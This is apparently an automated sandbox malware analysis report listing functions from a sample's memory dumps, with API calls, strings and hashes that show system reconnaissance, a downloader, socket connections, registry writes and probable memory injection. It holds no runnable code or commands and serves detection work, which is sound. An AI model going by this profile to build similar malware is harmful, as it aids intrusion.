Instruction ID: 4022e190c70c03b14471ad94b9f9ef58bfbb305f64adb940e2047e5496de9b0e
Opcode Fuzzy Hash: 0b0d78ca37e5d5ffe8402b7fe09c2a3ec7c65584014e325bd1671e59c11e9872
Instruction Fuzzy Hash: 35812C72204BC187E760DF61F48079AB7B6F788B94F50412AEA8A57B64DF3CD5468B04

Function 000001CFB9607510 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 186
stringregistrycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32 ref: 000001CFB96075A5
lstrcatW.KERNEL32 ref: 000001CFB96075B5
CoCreateInstance.OLE32 ref: 000001CFB9607600
wsprintfW.USER32 ref: 000001CFB96076F5
RegOpenKeyExW.ADVAPI32 ref: 000001CFB960771C
RegQueryValueExW.ADVAPI32 ref: 000001CFB960776E
lstrcatW.KERNEL32 ref: 000001CFB9607782
lstrcatW.KERNEL32 ref: 000001CFB9607792
RegCloseKey.ADVAPI32 ref: 000001CFB960779C

Part of subcall function 000001CFB9607420: CreateToolhelp32Snapshot.KERNEL32 ref: 000001CFB9607461
Part of subcall function 000001CFB9607420: Process32FirstW.KERNEL32 ref: 000001CFB9607480
Part of subcall function 000001CFB9607420: Process32NextW.KERNEL32 ref: 000001CFB96074C0
Part of subcall function 000001CFB9607420: CloseHandle.KERNEL32 ref: 000001CFB96074CD

lstrlenW.KERNEL32 ref: 000001CFB96077D3
lstrcatW.KERNEL32 ref: 000001CFB96077E7

Strings

CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}, xrefs: 000001CFB96076EA
Windows Defender IOfficeAntiVirus implementation , xrefs: 000001CFB9607557

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseCreateProcess32$FirstHandleInstanceNextOpenQuerySnapshotToolhelp32Valuelstrlenwsprintf
String ID: CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}$Windows Defender IOfficeAntiVirus implementation
API String ID: 2719888535-1583895642
Opcode ID: 5798e1544e650f95b40f9061c22e2bd83b7a927371cc76c98018ac4bb4a914d0
Instruction ID: 620889b4c088d9526dbe7ffdda88db386f5dd7808f3903edf2e6aa99fbc7fdba
Opcode Fuzzy Hash: 5798e1544e650f95b40f9061c22e2bd83b7a927371cc76c98018ac4bb4a914d0
Instruction Fuzzy Hash: B2915D32700B9586FB14DF66E890BDD77B2F788B88F50512ADE4957A68DF38CA06C700

Function 000001CFB96188E0 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 292
timeCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_lock.LIBCMT ref: 000001CFB961890B

Part of subcall function 000001CFB961B128: _amsg_exit.LIBCMT ref: 000001CFB961B152

_get_daylight.LIBCMT ref: 000001CFB9618921

Part of subcall function 000001CFB961967C: _errno.LIBCMT ref: 000001CFB9619685
Part of subcall function 000001CFB961967C: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB9619690

_get_daylight.LIBCMT ref: 000001CFB9618936

Part of subcall function 000001CFB961961C: _errno.LIBCMT ref: 000001CFB9619625
Part of subcall function 000001CFB961961C: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB9619630

_get_daylight.LIBCMT ref: 000001CFB961894B

Part of subcall function 000001CFB961964C: _errno.LIBCMT ref: 000001CFB9619655
Part of subcall function 000001CFB961964C: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB9619660

___lc_codepage_func.LIBCMT ref: 000001CFB9618958

Part of subcall function 000001CFB961D7F0: _getptd.LIBCMT ref: 000001CFB961D7F4

Part of subcall function 000001CFB961D9E4: __wtomb_environ.LIBCMT ref: 000001CFB961DA14

free.LIBCMT ref: 000001CFB96189C9

Part of subcall function 000001CFB9611E00: HeapFree.KERNEL32 ref: 000001CFB9611E16
Part of subcall function 000001CFB9611E00: _errno.LIBCMT ref: 000001CFB9611E20
Part of subcall function 000001CFB9611E00: GetLastError.KERNEL32 ref: 000001CFB9611E28

free.LIBCMT ref: 000001CFB9618A32
GetTimeZoneInformation.KERNEL32 ref: 000001CFB9618A45
WideCharToMultiByte.KERNEL32 ref: 000001CFB9618AFB
WideCharToMultiByte.KERNEL32 ref: 000001CFB9618B4E

Strings

Eastern Standard Time, xrefs: 000001CFB9618AF0
Eastern Summer Time, xrefs: 000001CFB9618B43

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$_get_daylight_invalid_parameter_noinfo$ByteCharMultiWidefree$ErrorFreeHeapInformationLastTimeZone___lc_codepage_func__wtomb_environ_amsg_exit_getptd_lock
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 2532449802-239921721
Opcode ID: 85d2046c202578092d9edaa575532717112bf84546d8c53ba0c1048ebffc475c
Instruction ID: 93fc491af668b608a0d8311810acec24284f88d6fe3da0fbf618f48145ec1890
Opcode Fuzzy Hash: 85d2046c202578092d9edaa575532717112bf84546d8c53ba0c1048ebffc475c
Instruction Fuzzy Hash: 4CC1C1722842E28AFB20DF25E451BDA77B7B784780F40613D9A89537A6DB38CE53C700

Function 00007FF6F6081300 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 235
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 00007FF6F6081358
InternetOpenUrlW.WININET ref: 00007FF6F6081389
InternetCloseHandle.WININET ref: 00007FF6F608139A
InternetCloseHandle.WININET ref: 00007FF6F60815B6
InternetCloseHandle.WININET ref: 00007FF6F60815BF
InternetReadFile.WININET ref: 00007FF6F60815DA
InternetReadFile.WININET ref: 00007FF6F608160E
InternetCloseHandle.WININET ref: 00007FF6F6081649
InternetCloseHandle.WININET ref: 00007FF6F6081652
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F6081698

Strings

WinINetDownloader, xrefs: 00007FF6F6081351

Memory Dump Source

Source File: 00000000.00000002.4113640461.00007FF6F6081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6F6080000, based on PE: true

Associated: 00000000.00000002.4113613717.00007FF6F6080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F636B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F679E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f6080000_2IVWAPeiZm.jbxd

Similarity

API ID: Internet$CloseHandle$FileOpenRead$Concurrency::cancel_current_task
String ID: WinINetDownloader
API String ID: 767669915-3650426168
Opcode ID: a8d219060c47295b2708c97b2f62da7ac2fca95a3641a265d16f4eb374730639
Instruction ID: 2976dc32ada8f2da7c5b69d6dd56410cfd99f40c64c970b286ca83b0e808c37a
Opcode Fuzzy Hash: a8d219060c47295b2708c97b2f62da7ac2fca95a3641a265d16f4eb374730639
Instruction Fuzzy Hash: 84A1A232A1DB8286EB50CB35E54027963A8FF85B94F644531EAAD83BE4FE7ED445C700

Function 000001CFB9607BF0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 102
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001CFB96066C0: SysFreeString.OLEAUT32 ref: 000001CFB960671D
Part of subcall function 000001CFB96066C0: SysAllocString.OLEAUT32 ref: 000001CFB9606769

GetTokenInformation.ADVAPI32 ref: 000001CFB9607C66
GetLastError.KERNEL32 ref: 000001CFB9607C70
GetProcessHeap.KERNEL32 ref: 000001CFB9607C83
HeapAlloc.KERNEL32 ref: 000001CFB9607C92
GetTokenInformation.ADVAPI32 ref: 000001CFB9607CBE
LookupAccountSidW.ADVAPI32 ref: 000001CFB9607CFC
GetLastError.KERNEL32 ref: 000001CFB9607D06
GetProcessHeap.KERNEL32 ref: 000001CFB9607D56
HeapFree.KERNEL32 ref: 000001CFB9607D64

Strings

Network, xrefs: 000001CFB9607BF0
NONE_MAPPED, xrefs: 000001CFB9607D13

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Heap$AllocErrorFreeInformationLastProcessStringToken$AccountLookup
String ID: NONE_MAPPED$Network
API String ID: 1972796461-3150097737
Opcode ID: e393c4395483ecdbf19e55be59f9c2ef9305885c7219f6ab52e586474c7cd7fe
Instruction ID: 5881c90d5630bb7872d83a4f4832f8d016f0752e2986c6ac81128469fae75e55
Opcode Fuzzy Hash: e393c4395483ecdbf19e55be59f9c2ef9305885c7219f6ab52e586474c7cd7fe
Instruction Fuzzy Hash: AE417231244AC286FA149B11F884BEA73B3F795B85F44453ADA89477A5EF39DE0BC700

Function 000001CFB9608A70 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 82
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32 ref: 000001CFB9608A85
GetProcAddress.KERNEL32 ref: 000001CFB9608AA1
FreeLibrary.KERNEL32 ref: 000001CFB9608BCD

Part of subcall function 000001CFB96120A0: _vswprintf_s_l.LIBCMT ref: 000001CFB96120BA

Part of subcall function 000001CFB96089F0: GetModuleHandleW.KERNEL32 ref: 000001CFB9608A1B
Part of subcall function 000001CFB96089F0: GetProcAddress.KERNEL32 ref: 000001CFB9608A2B
Part of subcall function 000001CFB96089F0: GetNativeSystemInfo.KERNEL32 ref: 000001CFB9608A3B

RegOpenKeyExW.ADVAPI32 ref: 000001CFB9608B67
RegQueryValueExW.ADVAPI32 ref: 000001CFB9608B92
RegCloseKey.ADVAPI32 ref: 000001CFB9608BB7

Strings

RtlGetNtVersionNumbers, xrefs: 000001CFB9608A97
ntdll.dll, xrefs: 000001CFB9608A7B
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 000001CFB9608B46
%d.%d.%d, xrefs: 000001CFB9608AE6
ProductName, xrefs: 000001CFB9608B7E

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: AddressLibraryProc$CloseFreeHandleInfoLoadModuleNativeOpenQuerySystemValue_vswprintf_s_l
String ID: %d.%d.%d$ProductName$RtlGetNtVersionNumbers$SOFTWARE\Microsoft\Windows NT\CurrentVersion$ntdll.dll
API String ID: 1477497710-3190923360
Opcode ID: 4262950ad49c61d605c756f4cea3116342fb25d2c80c30ab984ddaf2da6b532a
Instruction ID: 9e55308c119035b435057651a381e4d792f1f1431f957dbcbaff313671d04324
Opcode Fuzzy Hash: 4262950ad49c61d605c756f4cea3116342fb25d2c80c30ab984ddaf2da6b532a
Instruction Fuzzy Hash: D8319072255BC682FA60DB11F580BD97373F785B94F405229EE8A07B99DF38CA46CB00

Function 000001CFB96098C0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 85
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLogicalDriveStringsW.KERNEL32 ref: 000001CFB960991C
lstrcmpiW.KERNEL32 ref: 000001CFB960995B
lstrcmpiW.KERNEL32 ref: 000001CFB960996F
QueryDosDeviceW.KERNEL32 ref: 000001CFB96099A0
lstrlenW.KERNEL32 ref: 000001CFB96099AF
lstrcpyW.KERNEL32 ref: 000001CFB96099E3
lstrcpyW.KERNEL32 ref: 000001CFB9609A2E
lstrcatW.KERNEL32 ref: 000001CFB9609A3B

Strings

A:\, xrefs: 000001CFB9609949
B:\, xrefs: 000001CFB9609965

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: lstrcmpilstrcpy$DeviceDriveLogicalQueryStringslstrcatlstrlen
String ID: A:\$B:\
API String ID: 1889997506-1009255891
Opcode ID: cc35f10c472c84fe476aa86446e84a2d1080405b0ff074f1aa1dec8f82191c6d
Instruction ID: 982c70a56d374525f28710f3400dcd23d134bb49aca65c2ec803468ef3b6c57b
Opcode Fuzzy Hash: cc35f10c472c84fe476aa86446e84a2d1080405b0ff074f1aa1dec8f82191c6d
Instruction Fuzzy Hash: 6C414375244AC285FA709B11E880BDE7373F798B85F44502ADA8947799EF7CCA46CB00

Function 000001CFB9313495 Relevance: 16.8, APIs: 8, Strings: 1, Instructions: 1070memorynativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL ref: 000001CFB9313562
NtMapViewOfSection.NTDLL ref: 000001CFB931364D
VirtualAlloc.KERNEL32 ref: 000001CFB9313A78
NtUnmapViewOfSection.NTDLL ref: 000001CFB9313B1E
NtMapViewOfSection.NTDLL ref: 000001CFB9313B8A
VirtualProtect.KERNEL32 ref: 000001CFB9313BB1
VirtualProtect.KERNEL32 ref: 000001CFB9313C85
VirtualProtect.KERNEL32 ref: 000001CFB9313CC8

Strings

@, xrefs: 000001CFB9313550

Memory Dump Source

Source File: 00000000.00000002.4112008325.000001CFB9300000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9300000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: SectionVirtual$ProtectView$AllocCreateUnmap
String ID: @
API String ID: 1653215272-2766056989
Opcode ID: 82f163e4761bd8698f5f866852cd4e0229762b1cc4392098708726b2277ebcfa
Instruction ID: b58f64b13160cddbb21019682a8a77bd2f0eaff82a1fedc1a55df7850ab99d4b
Opcode Fuzzy Hash: 82f163e4761bd8698f5f866852cd4e0229762b1cc4392098708726b2277ebcfa
Instruction Fuzzy Hash: 5B729B31658B588BEB69DF28C885BE973E6FF98310F28452DD88BC7151DB34EA438741

Function 000001CFB9396860 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 328registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32 ref: 000001CFB93968C7
VirtualAlloc.KERNEL32 ref: 000001CFB9396B4E
RegCreateKeyW.ADVAPI32 ref: 000001CFB9396BD5
RegDeleteValueW.KERNEL32 ref: 000001CFB9396BED
RegSetValueExW.KERNEL32 ref: 000001CFB9396C13
SleepEx.KERNEL32 ref: 000001CFB9396C55

Strings

n, xrefs: 000001CFB9396A84
., xrefs: 000001CFB9396A60
l, xrefs: 000001CFB9396A72

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: Value$AllocCreateDeleteOpenSleepVirtual
String ID: .$l$n
API String ID: 2516758476-2376909228
Opcode ID: 6efd494f1771a83e1622dba27cf1971ef9d7551aafc06c164830ee9e4ee08136
Instruction ID: 72a02351d6f406a5868d53ded8a201c15091f15d206d0dbe581551cf4434322b
Opcode Fuzzy Hash: 6efd494f1771a83e1622dba27cf1971ef9d7551aafc06c164830ee9e4ee08136
Instruction Fuzzy Hash: 08B17F30618A888FFB64EF68D844BDA73E6FF99305F14412DA44BC7191DB78DA45CB42

Function 000001CFB9393390 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 264networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 000001CFB9393405
gethostbyname.WS2_32 ref: 000001CFB93934A0
connect.WS2_32 ref: 000001CFB93934F2

Strings

0u, xrefs: 000001CFB9393575

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: connectgethostbynamesocket
String ID: 0u
API String ID: 1495599467-3203441087
Opcode ID: 84b7b3bca6920cc8a9683eb24846bb0459563868bb5748dfd0158d2d2b471ceb
Instruction ID: 45de217ebbf946f91e9b6654eb6b6cfd13ceb3ecd57e9578f84c1ab21f69001c
Opcode Fuzzy Hash: 84b7b3bca6920cc8a9683eb24846bb0459563868bb5748dfd0158d2d2b471ceb
Instruction Fuzzy Hash: 14917F7061CB488FE758DF28D4457AAB7E5FB98304F10492EE58BC3290DB74E906CB86

Function 000001CFB9608180 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32 ref: 000001CFB96081EA
GetDiskFreeSpaceExW.KERNEL32 ref: 000001CFB960820E
GlobalMemoryStatusEx.KERNEL32 ref: 000001CFB9608275

Strings

@, xrefs: 000001CFB960823E
:, xrefs: 000001CFB96081CE
HDD:%d, xrefs: 000001CFB9608289
%sFree%d Gb , xrefs: 000001CFB96082B7

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: DiskDriveFreeGlobalMemorySpaceStatusType
String ID: %sFree%d Gb $:$@$HDD:%d
API String ID: 3475944273-3501811827
Opcode ID: c6b34b87c4707ce2202623c9a1da05e2d2efcd629a34194bb4d2bfd65ede8d83
Instruction ID: 18d4c71dea7563c5185f50c6c05301dc768b8feb2283ec8ef6d5e54badd1a88d
Opcode Fuzzy Hash: c6b34b87c4707ce2202623c9a1da05e2d2efcd629a34194bb4d2bfd65ede8d83
Instruction Fuzzy Hash: 4E315C36208BC586E760DB15F840B8BB3B6F389784F90112AEACD43B29DF38C556CB00

Function 000001CFB9607A90 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 82comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 000001CFB9607A9A
CoCreateInstance.OLE32 ref: 000001CFB9607ABE
SysFreeString.OLEAUT32 ref: 000001CFB9607B88
CoUninitialize.OLE32 ref: 000001CFB9607BD5

Strings

FriendlyName, xrefs: 000001CFB9607B70
Network, xrefs: 000001CFB9607A90

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CreateFreeInitializeInstanceStringUninitialize
String ID: FriendlyName$Network
API String ID: 841178590-1437807293
Opcode ID: 2c5c4b6b2c41542d4b871e72c06e1fdebbf868c540bd732ef293f0ccc01ef82e
Instruction ID: 8c1c9b2d9cbb3214796f4729c2db7b76e2837bb145fb88539e8ba543d14d0627
Opcode Fuzzy Hash: 2c5c4b6b2c41542d4b871e72c06e1fdebbf868c540bd732ef293f0ccc01ef82e
Instruction Fuzzy Hash: FB31FF76244A8682EB50DF35E480BDA77B2F7D4F98F554026DA4E83724DF38C98ACB40

Function 000001CFB96089F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001CFB9608A1B
GetProcAddress.KERNEL32 ref: 000001CFB9608A2B
GetNativeSystemInfo.KERNEL32 ref: 000001CFB9608A3B
GetSystemInfo.KERNEL32 ref: 000001CFB9608A3F

Strings

GetNativeSystemInfo, xrefs: 000001CFB9608A21
kernel32.dll, xrefs: 000001CFB96089F6

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: InfoSystem$AddressHandleModuleNativeProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 3433367815-192647395
Opcode ID: 812c2325d0cc55593327c1f2f69d89585b164903738284ab9866f3d98fbcdec6
Instruction ID: cbf47c96437ae1836900d7f85125bc04f49b7670c69516fa622c31248db68af1
Opcode Fuzzy Hash: 812c2325d0cc55593327c1f2f69d89585b164903738284ab9866f3d98fbcdec6
Instruction Fuzzy Hash: 9501E835655BC686EAA0AB14E89079A72B7F388740F94052AD68E42B94EF2DCB568700

Function 000001CFB9603680 Relevance: 7.6, APIs: 5, Instructions: 74networkCOMMON

Download Yara Rule

APIs

select.WS2_32 ref: 000001CFB9603715
recv.WS2_32 ref: 000001CFB960373B
_errno.LIBCMT ref: 000001CFB9603747
_errno.LIBCMT ref: 000001CFB9603751
_errno.LIBCMT ref: 000001CFB960375E

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$recvselect
String ID:
API String ID: 4102763267-0
Opcode ID: 4fd4400789ad907de071142e916aeea2107531b851bf8881d6973165b3bc5834
Instruction ID: 95443252d1c682d8b4781007347c57b33325662fb46a182080bbdfba1012b7e5
Opcode Fuzzy Hash: 4fd4400789ad907de071142e916aeea2107531b851bf8881d6973165b3bc5834
Instruction Fuzzy Hash: C131E171244AD282FB709B25E484FDA73B3F784B89F00413ADB4947BC9EB38C9068709

Function 000001CFB9607420 Relevance: 7.6, APIs: 5, Instructions: 56processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 000001CFB9607461
Process32FirstW.KERNEL32 ref: 000001CFB9607480
Process32NextW.KERNEL32 ref: 000001CFB96074C0
CloseHandle.KERNEL32 ref: 000001CFB96074CD
CloseHandle.KERNEL32 ref: 000001CFB96074F6

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1789362936-0
Opcode ID: 1d1c4d45bde62b7eb6451df214e2b8338f83561ada536a8c26e1dbaab7acb04f
Instruction ID: b4433ea2e125984ab68041f57eb7227444e2ee7afa1817518eb8c1d79b521612
Opcode Fuzzy Hash: 1d1c4d45bde62b7eb6451df214e2b8338f83561ada536a8c26e1dbaab7acb04f
Instruction Fuzzy Hash: 0E2187312446C286FB649B25E8947AA77B3F7D8B94F448239D999467A4EF3CCA06C700

Function 000001CFB9608440 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 377COMMON

Download Yara Rule

APIs

CreateDXGIFactory.DXGI ref: 000001CFB96084B0

Strings

vector<T> too long, xrefs: 000001CFB960862F, 000001CFB960863C, 000001CFB9608983, 000001CFB9608990
%s%s %d*%d , xrefs: 000001CFB96088FD
%s%s %d %d , xrefs: 000001CFB96086B0

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CreateFactory
String ID: %s%s %d %d $%s%s %d*%d $vector<T> too long
API String ID: 1145517477-257307503
Opcode ID: 0841caf3cacf5e98688c35e219301d40f8b2c0522cc3051f10e647fb0cbd250b
Instruction ID: ab3086f3a637af00137ee86e58a6954c6ad6a4e39bfa8950ccaae4d099fcb743
Opcode Fuzzy Hash: 0841caf3cacf5e98688c35e219301d40f8b2c0522cc3051f10e647fb0cbd250b
Instruction Fuzzy Hash: 26E19C32750A8586FA10CB65D9847EE6373F784BE4F544629DE6E17BE8CB39CA46C300

Function 000001CFB96142A8 Relevance: 4.5, APIs: 3, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32 ref: 000001CFB96142BE
GetVersion.KERNEL32 ref: 000001CFB96142D0
HeapSetInformation.KERNEL32 ref: 000001CFB96142EE

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: baa38fae55a4b4714cb9625f470aef3d5fa3ce788670dbd23bb72a12501c91c4
Instruction ID: d3dd90bff7e2c6e10aedfe7ac5e24fde613155f0b61c75aa459c44fa7ffd4f75
Opcode Fuzzy Hash: baa38fae55a4b4714cb9625f470aef3d5fa3ce788670dbd23bb72a12501c91c4
Instruction Fuzzy Hash: 7FE06D346516D382FB846B14E805FD522B3B7A8704F80543DD94A03784DF3CCA8B8704

Function 000001CFB9312C89 Relevance: 2.9, APIs: 2, Instructions: 382memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 000001CFB9312CFC
VirtualAlloc.KERNEL32 ref: 000001CFB9312EF0

Memory Dump Source

Source File: 00000000.00000002.4112008325.000001CFB9300000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9300000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5d17924f1650dce35aa6cfa67234e302229330514130ed1fd0e34ce5b20ef98f
Instruction ID: 4bf00c6bef2d7449964654eb3a06488454d9eadb585b1ae0cb398f2a7a3a40d9
Opcode Fuzzy Hash: 5d17924f1650dce35aa6cfa67234e302229330514130ed1fd0e34ce5b20ef98f
Instruction Fuzzy Hash: 2AC163306549554BFB99DB28C8D5BEAB3E6FF98300F2C413DD45AC31A6DB20EE538681

Function 000001CFB960E1C0 Relevance: 34.7, APIs: 23, Instructions: 201
memorywindowCOMMON

